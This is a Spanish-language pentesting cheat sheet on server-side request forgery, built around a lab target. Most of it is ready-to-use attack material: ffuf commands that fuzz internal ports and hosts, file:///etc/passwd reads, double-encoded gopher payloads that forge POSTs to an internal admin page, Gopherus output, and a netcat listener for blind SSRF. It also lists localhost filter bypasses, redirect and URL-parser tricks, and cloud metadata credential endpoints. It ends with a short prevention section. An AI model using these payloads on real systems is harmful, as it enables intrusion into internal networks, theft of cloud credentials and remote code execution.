Skip to content

SSRF (Server-Side Request Forgery)

SSRF ocurre cuando una aplicación web realiza una petición HTTP (u otro protocolo) hacia una URL que el atacante puede controlar total o parcialmente. Esto permite forzar al servidor a interactuar con sistemas internos que normalmente no serían alcanzables desde fuera de la red (paneles de administración internos, bases de datos, servicios de metadata en la nube), o incluso a leer archivos locales del propio servidor mediante esquemas de URL alternativos.

Enumeración del sistema interno vía SSRF

Cuando un parámetro de la aplicación acepta una URL (por ejemplo, para consultar un servicio externo de fecha/hora), se puede fuzzear el puerto para descubrir qué servicios están escuchando localmente en el servidor:

c
❯ ffuf -w ./ports.txt -u http://172.16.73.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

<SNIP>

[Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 0ms]
    * FUZZ: 3306
[Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 338ms]
    * FUZZ: 80
  • -fr "Failed to connect to" : filtra (oculta) las respuestas que contienen el mensaje de error de conexión rechazada, dejando visibles solo los puertos donde sí hay un servicio escuchando — ver web_fuzzing.md para más detalle sobre este flag.
  • El puerto 3306 (MySQL) apareciendo como "abierto" en este contexto no significa que se pueda interactuar completamente con él vía HTTP, pero confirma su existencia — útil para mapear la topología interna del servidor.

Fuzzing de subdominios/hosts internos alcanzables únicamente desde dentro de la red del servidor (invisibles desde fuera):

c
❯ ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.16.73.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://internal-service.local/FUZZ.php&date=2024-01-01" -fr "Server at internal-service.local Port 80"

Local File Inclusion (LFI) vía esquema de URL file://

Dado que el esquema de la URL es parte de lo que la aplicación procesa, se puede sustituir http:// por file:// para leer archivos locales del sistema de archivos del servidor:

c
file:///etc/passwd
  • Esta técnica funciona porque muchas librerías HTTP del lado del servidor (cURL, file_get_contents en PHP, requests en Python en ciertas configuraciones) soportan de forma nativa múltiples esquemas de URL más allá de HTTP/HTTPS, y la aplicación rara vez restringe explícitamente el esquema permitido.
  • Ver lfi.md para más wrappers PHP relevantes que también pueden combinarse aquí (php://filter, etc.) si el backend es PHP.

Protocolo Gopher — enviando peticiones POST arbitrarias

El esquema http:// en la mayoría de contextos SSRF solo permite peticiones GET (no hay forma nativa de especificar un método/cuerpo POST solo con la URL). El protocolo Gopher, en cambio, permite construir el contenido exacto de una petición TCP byte por byte, lo que posibilita fabricar una petición HTTP POST completa:

Petición POST objetivo que se desea falsificar:

c
POST /admin.php HTTP/1.1
Host: internal-service.local
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

adminpw=admin

Codificada como URL Gopher:

c
gopher://internal-service.local:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20internal-service.local%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin

Insertada como el valor del parámetro vulnerable (nótese la doble codificación URL, ya que el propio parámetro va dentro de otra petición HTTP):

c
POST /index.php HTTP/1.1
Host: 172.16.73.10
Content-Length: 265
Content-Type: application/x-www-form-urlencoded

dateserver=gopher%3a//internal-service.local%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520internal-service.local%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01

Interactuando con otros servicios internos (no solo HTTP) vía Gopher

Gopher no está limitado a HTTP: permite enviar cualquier secuencia de bytes a cualquier puerto TCP interno, lo que habilita interactuar con protocolos de texto plano como SMTP, Redis, Memcached, o incluso el protocolo binario de MySQL en ciertos casos. Construir estas URLs manualmente es tedioso y propenso a errores — la herramienta Gopherus automatiza la generación:

c
❯ python2.7 gopherus.py

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

usage: gopherus.py [-h] [--exploit EXPLOIT]

optional arguments:
  -h, --help         show this help message and exit
  --exploit EXPLOIT  mysql, postgresql, fastcgi, redis, smtp, zabbix,
                     pymemcache, rbmemcache, phpmemcache, dmpmemcache

Ejemplo generando una URL Gopher para enviar un correo vía un servidor SMTP interno:

c
❯ python2.7 gopherus.py --exploit smtp

Give Details to send mail: 

Mail from :  attacker@domain.local
Mail To :  victim@domain.local
Subject :  HelloWorld
Message :  Hello from SSRF!

Your gopher link is ready to send Mail: 

gopher://127.0.0.1:25/_MAIL%20FROM:attacker%40domain.local%0ARCPT%20To:victim%40domain.local%0ADATA%0AFrom:attacker%40domain.local%0ASubject:HelloWorld%0AMessage:Hello%20from%20SSRF%21%0A.

-----------Made-by-SpyD3r-----------
  • El módulo redis de Gopherus es particularmente potente: puede generar payloads para escribir un webshell directamente en el disco a través de comandos Redis (CONFIG SET/SAVE), si el Redis interno no tiene autenticación — un salto directo de SSRF a RCE.
  • El módulo fastcgi/phpmemcache cubre escenarios similares contra PHP-FPM o Memcached expuestos internamente.

Blind SSRF

Cuando la aplicación no refleja ninguna respuesta visible de la petición SSRF, hay que confirmar la interacción por vías indirectas.

Confirmación con listener propio

c
❯ nc -lnvp 8000

listening on [any] 8000 ...
connect to [172.16.73.1] from (UNKNOWN) [172.16.73.10] 32928
GET /index.php HTTP/1.1
Host: 172.16.73.1:8000
Accept: */*

Petición del lado del atacante hacia la aplicación objetivo, apuntando el parámetro vulnerable hacia el propio listener:

c
POST /index.php HTTP/1.1
Host: 172.16.73.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://172.16.73.20
Connection: keep-alive
Referer: http://172.16.73.20/

dateserver=http://192.168.60.5&date=2024-01-01

Explotando Blind SSRF: enumeración de puertos por tiempo/comportamiento

Sin ver la respuesta directamente, se puede inferir qué puertos están abiertos comparando el tiempo de respuesta o el comportamiento de error (una petición a un puerto cerrado suele fallar rápido con "connection refused"; a un puerto abierto pero que no habla HTTP puede colgarse hasta timeout; a un puerto HTTP real responde con normalidad):

c
POST /index.php HTTP/1.1
Host: 172.16.73.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

dateserver=http://127.0.0.1:81&date=2024-01-01
c
POST /index.php HTTP/1.1
Host: 172.16.73.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

dateserver=http://127.0.0.1:8080&date=2024-01-01
c
POST /index.php HTTP/1.1
Host: 172.16.73.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

dateserver=http://127.0.0.1:8000&date=2024-01-01
  • Automatizar este proceso con ffuf sobre el rango completo de puertos (como en la sección de enumeración inicial) es mucho más eficiente que probar puerto por puerto manualmente.

Bypass de listas negras/filtros de URL

Cuando la aplicación intenta bloquear SSRF filtrando localhost/127.0.0.1/IPs privadas mediante comparación de texto simple, existen varias representaciones alternativas de la misma dirección que a menudo evaden el filtro:

c
http://127.1/
http://0.0.0.0/
http://0177.0.0.1/            (127.0.0.1 en octal)
http://2130706433/            (127.0.0.1 como entero decimal)
http://0x7f.0x0.0x0.0x1/      (127.0.0.1 en hexadecimal)
http://localtest.me/          (dominio público que resuelve a 127.0.0.1)
http://[::1]/                 (localhost en IPv6)
http://127.0.0.1.nip.io/      (servicio de DNS wildcard que resuelve al IP indicado en el propio nombre)
  • Cada una de estas representaciones es resuelta por la mayoría de los stacks de red del sistema operativo exactamente igual que 127.0.0.1, pero como cadena de texto son completamente distintas — un filtro que solo compara strpos($url, '127.0.0.1') no las detecta.

Bypass vía redirección HTTP

Si la aplicación valida la URL inicial pero sigue redirecciones automáticamente (Location: de un 3xx), se puede alojar un endpoint propio que redirija hacia el objetivo interno real:

c
http://TU_SERVIDOR/redirect?to=http://169.254.169.254/latest/meta-data/
  • El filtro solo ve y valida TU_SERVIDOR (un dominio externo legítimo), pero la librería HTTP del servidor sigue la redirección hacia el destino interno real sin volver a aplicar la validación.

Bypass vía inconsistencias del parser de URL

c
http://usuario_esperado@127.0.0.1/    (el "usuario" antes de @ engaña a validaciones ingenuas de dominio)
http://127.0.0.1#@dominio-esperado.com/
http://dominio-esperado.com\@127.0.0.1/
  • Estas técnicas explotan diferencias entre cómo distintos parsers de URL (el que usa la validación vs. el que usa la librería HTTP real) interpretan el componente de "host" cuando hay caracteres especiales (@, #, \) presentes — un problema clásico de "parser confusion".

Metadata de proveedores cloud (impacto crítico común)

c
# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata:true"

# DigitalOcean
http://169.254.169.254/metadata/v1/
  • En Google Cloud y Azure, la cabecera especial (Metadata-Flavor/Metadata) es obligatoria — si el SSRF no permite controlar cabeceras personalizadas (solo la URL), estos dos proveedores son más difíciles de explotar completamente que AWS.

Prevención de SSRF

Si la aplicación web obtiene datos de un host remoto según la entrada del usuario, es crucial implementar medidas de seguridad adecuadas:

  • Lista blanca de destinos: los datos del origen remoto deben verificarse contra una lista blanca explícita, no una lista negra — una lista blanca impide que un atacante realice solicitudes no deseadas a sistemas internos, mientras que una lista negra siempre es incompleta frente a las técnicas de bypass mostradas arriba.
  • Restricción de esquema/protocolo: el esquema de URL debe restringirse explícitamente a http/https (rechazando file://, gopher://, dict://, etc.), en vez de intentar bloquear esquemas peligrosos uno por uno.
  • Sanitización de entrada: como con cualquier entrada de usuario, ayuda a prevenir comportamientos inesperados, aunque no sustituye a la lista blanca.
  • Reglas de firewall en la capa de red: restringir las conexiones salientes del servidor de aplicación solo a los destinos estrictamente necesarios mitiga el impacto incluso si la validación a nivel de aplicación falla.
  • Segmentación de red: evita que un SSRF exitoso en un servicio permita alcanzar otros sistemas internos críticos, limitando el radio de impacto.
  • Deshabilitar seguimiento de redirecciones en la librería HTTP usada para las peticiones salientes, o revalidar la URL de destino tras cada salto de redirección.

Referencia completa: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html